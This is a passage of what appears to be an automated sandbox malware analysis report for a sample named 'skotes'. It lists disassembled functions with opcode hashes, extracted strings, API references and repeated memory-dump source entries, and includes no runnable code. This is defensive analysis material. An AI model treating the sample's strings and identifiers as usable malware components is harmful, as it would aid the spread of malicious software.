Associated: 00000005.00000002.2649752864.0000000001394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649824994.0000000001395000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649901156.0000000001396000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649998186.0000000001397000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_ee0000_skotes.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID:
API String ID: 2659868963-0
Opcode ID: 753c9d9410c5a7f535db64c2536b25d71b47a0de67d4f7281b1c63e7d8f8c4b3
Instruction ID: 6ea88e1a8f4b53de071e718e0cd1616005519f18067d234ed34a635a6b77ab65
Opcode Fuzzy Hash: 753c9d9410c5a7f535db64c2536b25d71b47a0de67d4f7281b1c63e7d8f8c4b3
Instruction Fuzzy Hash: 9251C276E0460E8BDB15CF58DC857ADBBF2FB54318F24856ADA09EB251D338AD40CB90

Function 00EF2F10 Relevance: 21.9, APIs: 1, Strings: 11, Instructions: 910
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Fw==, xrefs: 00EF378E
246122658369, xrefs: 00EF2F78
WTw=, xrefs: 00EF2F5E
WX f, xrefs: 00EF3BDE
V2Te, xrefs: 00EF3EB0
stoi argument out of range, xrefs: 00EF4359
", xrefs: 00EF3F89
Hykl, xrefs: 00EF387F
invalid stoi argument, xrefs: 00EF434A
WGpm, xrefs: 00EF3CC9
5120, xrefs: 00EF3BAF, 00EF3C9A

Memory Dump Source

Source File: 00000005.00000002.2640452482.0000000000EE1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000005.00000002.2639271303.0000000000EE0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2640452482.0000000000F42000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2642934014.0000000000F49000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.0000000000F4B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000010D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649116538.00000000011F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649752864.0000000001394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649824994.0000000001395000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649901156.0000000001396000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649998186.0000000001397000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_ee0000_skotes.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situ
String ID: "$246122658369$5120$Fw==$Hykl$V2Te$WGpm$WTw=$WX f$invalid stoi argument$stoi argument out of range
API String ID: 4078500453-1402436090
Opcode ID: a6b90850ccea091c7d7eba67d58c5cb963456c25b820941aa7b9eb7feec654ba
Instruction ID: bc5d77650d8862262527123b38e16c69b0dffb57c45db64929e239480fadd537
Opcode Fuzzy Hash: a6b90850ccea091c7d7eba67d58c5cb963456c25b820941aa7b9eb7feec654ba
Instruction Fuzzy Hash: 4C721471A0024C9BEF18EF78CD467AEBBB5EF45300F508588E545B72C6DB359B848B92

Function 00F1B04B Relevance: 1.5, APIs: 1, Instructions: 33
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,51F2D175,?,?,00EFD3FC,51F2D175,?,00EF7A8B,?,?,?,?,?,?,00EE7465,?), ref: 00F1B07D

Memory Dump Source

Source File: 00000005.00000002.2640452482.0000000000EE1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000005.00000002.2639271303.0000000000EE0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2640452482.0000000000F42000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2642934014.0000000000F49000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.0000000000F4B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000010D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649116538.00000000011F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649752864.0000000001394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649824994.0000000001395000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649901156.0000000001396000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649998186.0000000001397000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_ee0000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: caf280030799b4a80f82e46bb7f5932a9c0ea92b50a823f47f82869032d9c232
Instruction ID: aba98b04b3a45acaa04c6c0a62cad914da877a3b8f15e1833597736fdcda8585
Opcode Fuzzy Hash: caf280030799b4a80f82e46bb7f5932a9c0ea92b50a823f47f82869032d9c232
Instruction Fuzzy Hash: 3DE09B36A45215D6DB3132769D00BDF77499F4A3F0F151210ED6496191DF54DDC0B1E1

Function 04B20CC3 Relevance: .1, Instructions: 141COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2656461626.0000000004B20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4b20000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab6c1b51b2100ff801a98c1381b3ecbc36d863583ae0cb6cb5b7dd0154fe1e69
Instruction ID: 7771ac173ee0e85650e0151e2396365546d33c6996112666941ee2ea232cfb37
Opcode Fuzzy Hash: ab6c1b51b2100ff801a98c1381b3ecbc36d863583ae0cb6cb5b7dd0154fe1e69
Instruction Fuzzy Hash: 052106AB349131BEA102B5816B585F6AA6FE6D377033184B6FD0BC7202F2D469497271

Function 04B20CE7 Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2656461626.0000000004B20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4b20000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee917cc74b7e1a6fe849441eee457fe0a574c5b824391a324898e12b98d16287
Instruction ID: c312f9b8a7de91238d6db7857d017fbe4801fe119cb3e1e344a93a402b34284d
Opcode Fuzzy Hash: ee917cc74b7e1a6fe849441eee457fe0a574c5b824391a324898e12b98d16287
Instruction Fuzzy Hash: DE21F8EB349131BE7102B0916B585F6A76EE6D37B073088B6FD0BC7202F2D46A497271

Function 04B20D6F Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2656461626.0000000004B20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4b20000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f0233b87e6443a1eec0868a4a8f0e17d5840e902bcde4f4b86749d3f2324b5e
Instruction ID: 228b021ba6c1acbdb25ff03e681f43217fc4a770ffa8bf09818e4114867a5e9c
Opcode Fuzzy Hash: 8f0233b87e6443a1eec0868a4a8f0e17d5840e902bcde4f4b86749d3f2324b5e
Instruction Fuzzy Hash: 182134AB3491217EB102A5916B189F6BB3EE6D3770330C8B6FD4AC6102F2D46A493271

Function 04B20D08 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2656461626.0000000004B20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4b20000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b328cd2e2099eadf3cc933ad161b035e5b0e78945e585b812719903a0454b0ce
Instruction ID: 7695a5ab4285c2fc15fe6a7d253f23859172a53b417a44564bc4505d5f99e618
Opcode Fuzzy Hash: b328cd2e2099eadf3cc933ad161b035e5b0e78945e585b812719903a0454b0ce
Instruction Fuzzy Hash: D421C8EB2491317E7102A1816B149F6A76EE6D3770331C8B6FD0BC7202F1D46A4D7271

Function 04B20D01 Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2656461626.0000000004B20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4b20000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00867c510ef5d58100090b08cfd3da1656d82dbed09f07511efee42d52f7e213
Instruction ID: fa87a5f454472c25708c9b25cda4a02c3feccbb7e0b48f78886019874c122ef3
Opcode Fuzzy Hash: 00867c510ef5d58100090b08cfd3da1656d82dbed09f07511efee42d52f7e213
Instruction Fuzzy Hash: BB2195AB3491217E7142A1816B149F6A76EE6D377033088B6FD4BC6242F2D469497271

Function 04B20D0D Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2656461626.0000000004B20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4b20000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9bd9f320a0983c01556f475be493486f6e80563d0d8ae7663d641dddf431315a
Instruction ID: 0ff7ba0086258e0e080e318323fc0e3c38034eab0d2e3da925c51e65f73fd69f
Opcode Fuzzy Hash: 9bd9f320a0983c01556f475be493486f6e80563d0d8ae7663d641dddf431315a
Instruction Fuzzy Hash: C821F5AB3491217EB002A5816B149F6A72EE6D3770330C8B6FD4BC6202F2D46A497271

Function 04B20D44 Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2656461626.0000000004B20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4b20000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22ccb2c4f3bce443a8b15f6b5b5835e180e398d1415cb1f3a2e39cc904193cf3
Instruction ID: d262d8687f55d6ba8c141a6b6bfe4e76dabc68bdbfe3eccee13789b7531ec7d3
Opcode Fuzzy Hash: 22ccb2c4f3bce443a8b15f6b5b5835e180e398d1415cb1f3a2e39cc904193cf3
Instruction Fuzzy Hash: 741106FB249021BEB142A5816B549F67B3EE6D2770330C8B6FD4BC6102F2942A487231

Function 04B20DAC Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2656461626.0000000004B20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4b20000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb491ea05d16ec9cb1269d75faa75ebd7778ef968ee1685f83427fc9a2c2899d
Instruction ID: 506cdfe033c5f4fcbb68b13e75d72053f1574c091766e20508bc4e5c90760a14
Opcode Fuzzy Hash: eb491ea05d16ec9cb1269d75faa75ebd7778ef968ee1685f83427fc9a2c2899d
Instruction Fuzzy Hash: B41106EB2490217DB102B0916B589F6672FE6D3B70331C867FD4BC2116F1C869493231

Function 04B20DA1 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2656461626.0000000004B20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4b20000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc1d4987106800da18c792c4cd9b1e4ab237b6a35d3257c6122332d777039d9e
Instruction ID: 440986b2c9a451112798f51abdb7c1b1c70534b1f9cb961c4c4428fa333f1b24
Opcode Fuzzy Hash: dc1d4987106800da18c792c4cd9b1e4ab237b6a35d3257c6122332d777039d9e
Instruction Fuzzy Hash: D00128EB2891216DB142B0916B146F6A76FE6D3730335C8B3F947C2602F1D4158D7131

Function 04B20DD6 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2656461626.0000000004B20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4b20000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ddaec3d574d41d6028fac745903892b4e1b63b60f6cf818f521fa7352346c97a
Instruction ID: 8ee45b2ec192ac53d07ecf9dbb979322d25a7e7ced87469750c9bd54a220353f
Opcode Fuzzy Hash: ddaec3d574d41d6028fac745903892b4e1b63b60f6cf818f521fa7352346c97a
Instruction Fuzzy Hash: 140149AB2482501EE343B16266551F6BFBBEAE373033448B7E443C7643E1D5054DA322

Function 04B20DC2 Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2656461626.0000000004B20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4b20000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f953456154e2bba7ea79c798bdfba8c1549eae4e0fccd98fd702536f460f253
Instruction ID: c6b2bb93bebc2821dacf31345df06eaa38c51b8ba7757c14009125435dfd86aa
Opcode Fuzzy Hash: 0f953456154e2bba7ea79c798bdfba8c1549eae4e0fccd98fd702536f460f253
Instruction Fuzzy Hash: 8E0120DB1481116EA143B19167541F67B7FE6E37303348876F947C6642F1D9068D6232

Non-executed Functions

Function 00F231A8 Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1340COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00F23323

Strings

1#QNAN, xrefs: 00F244C1
1#SNAN, xrefs: 00F244BA
1#INF, xrefs: 00F244DE
1#IND, xrefs: 00F244B3

Memory Dump Source

Source File: 00000005.00000002.2640452482.0000000000EE1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000005.00000002.2639271303.0000000000EE0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2640452482.0000000000F42000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2642934014.0000000000F49000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.0000000000F4B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000010D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649116538.00000000011F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649752864.0000000001394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649824994.0000000001395000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649901156.0000000001396000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649998186.0000000001397000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_ee0000_skotes.jbxd

Yara matches

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 658a457e0041f7b2c532b20db5f591bb4aa54dc2dc7a6ff2613a63d9fec41657
Instruction ID: 54d8160a9b1a68bf36bd59aaba2ba8ac5ceec0fe743b3f2c06a2efb01b99fefc
Opcode Fuzzy Hash: 658a457e0041f7b2c532b20db5f591bb4aa54dc2dc7a6ff2613a63d9fec41657
Instruction Fuzzy Hash: 8DC24EB2E046388FCB25DE28ED407E9B7B5EB48314F1441EAD84DE7240E779AE819F41

Function 00F22D10 Relevance: 3.4, APIs: 2, Instructions: 450COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2640452482.0000000000EE1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000005.00000002.2639271303.0000000000EE0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2640452482.0000000000F42000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2642934014.0000000000F49000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.0000000000F4B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000010D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649116538.00000000011F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649752864.0000000001394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649824994.0000000001395000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649901156.0000000001396000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649998186.0000000001397000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_ee0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4febeba0e6df1972b290d54c079ebb9eef800fd61dd105ca4b93d43a1305ea1a
Instruction ID: e3a68da56dae04c0131806358fb79323e7ce787862d2dba2a6137d12b908a2e6
Opcode Fuzzy Hash: 4febeba0e6df1972b290d54c079ebb9eef800fd61dd105ca4b93d43a1305ea1a
Instruction Fuzzy Hash: AFF140B1E002299FDF14CFA8D9806ADF7B1FF48324F258269D915AB344D735AE41DB90

Function 00F17F36 Relevance: 1.5, Strings: 1, Instructions: 216COMMON

Download Yara Rule

Strings

0, xrefs: 00F180B2

Memory Dump Source

Source File: 00000005.00000002.2640452482.0000000000EE1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000005.00000002.2639271303.0000000000EE0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2640452482.0000000000F42000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2642934014.0000000000F49000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.0000000000F4B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000010D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649116538.00000000011F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649752864.0000000001394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649824994.0000000001395000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649901156.0000000001396000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649998186.0000000001397000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_ee0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
Instruction ID: 1e6f70131eab4a24633c00b6e4cc840505d4d21b89be5bff864a9a7a861635b9
Opcode Fuzzy Hash: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
Instruction Fuzzy Hash: D7510132E0874C5ACB3866288E917FFB7A69F013A0F14011DE44AD7291CE169DCFB381

Function 00EE4DE0 Relevance: .7, Instructions: 701COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2640452482.0000000000EE1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000005.00000002.2639271303.0000000000EE0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2640452482.0000000000F42000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2642934014.0000000000F49000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.0000000000F4B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000010D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649116538.00000000011F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649752864.0000000001394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649824994.0000000001395000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649901156.0000000001396000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649998186.0000000001397000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_ee0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f5062ad6c60d9d92f75b8985f2387d30ef228793460dce618be3433785782a3
Instruction ID: abedf0fb7418d0d5409a875692262f3193bf453a8f64a08c5b0345c2dd091b1d
Opcode Fuzzy Hash: 7f5062ad6c60d9d92f75b8985f2387d30ef228793460dce618be3433785782a3
Instruction Fuzzy Hash: A32260B7F515144BDB0CCB9DDCA27ECB2E3AFD8218B0E803DA40AE3345EA79D9159644

Function 00F27049 Relevance: .3, Instructions: 275COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2640452482.0000000000EE1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000005.00000002.2639271303.0000000000EE0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2640452482.0000000000F42000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2642934014.0000000000F49000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.0000000000F4B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000010D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649116538.00000000011F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649752864.0000000001394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649824994.0000000001395000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649901156.0000000001396000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649998186.0000000001397000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_ee0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e3be8dd604bb594257d248e90bc921312d85757d51b45f933db54e5f82a5d7b
Instruction ID: c3f32e3e95a2e08efd5f56f148786473f315068acf8387b1a37bbd6c776c0087
Opcode Fuzzy Hash: 0e3be8dd604bb594257d248e90bc921312d85757d51b45f933db54e5f82a5d7b
Instruction Fuzzy Hash: 40B18A32A14714CFD728DF28D486B657BA0FF05364F258658E89ACF2A1C335E992DF40

Function 00EE4B30 Relevance: .2, Instructions: 230COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2640452482.0000000000EE1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000005.00000002.2639271303.0000000000EE0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2640452482.0000000000F42000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2642934014.0000000000F49000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.0000000000F4B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000010D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649116538.00000000011F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649752864.0000000001394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649824994.0000000001395000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649901156.0000000001396000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2649998186.0000000001397000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_ee0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dcc24181b691c2a575fc2945d07c8559e6ea95e01dd2c6cb2a729fad69c73535
Instruction ID: e7c04a10a48e5845054cabb6075dd0a605aca4f5fed9bac4aa9f3649b05c5007
Opcode Fuzzy Hash: dcc24181b691c2a575fc2945d07c8559e6ea95e01dd2c6cb2a729fad69c73535
Instruction Fuzzy Hash: BD8111B4E012998FEB15CF6AD8907EEFBF1FB1A300F551269D850A7392C3359945CBA0

Function 00F278BB Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2640452482.0000000000EE1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000005.00000002.2639271303.0000000000EE0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2640452482.0000000000F42000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2642934014.0000000000F49000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.0000000000F4B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000010D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2644544870.00000000011B0000.00000040.00000001.01000000.00000007.sdmpDownload File
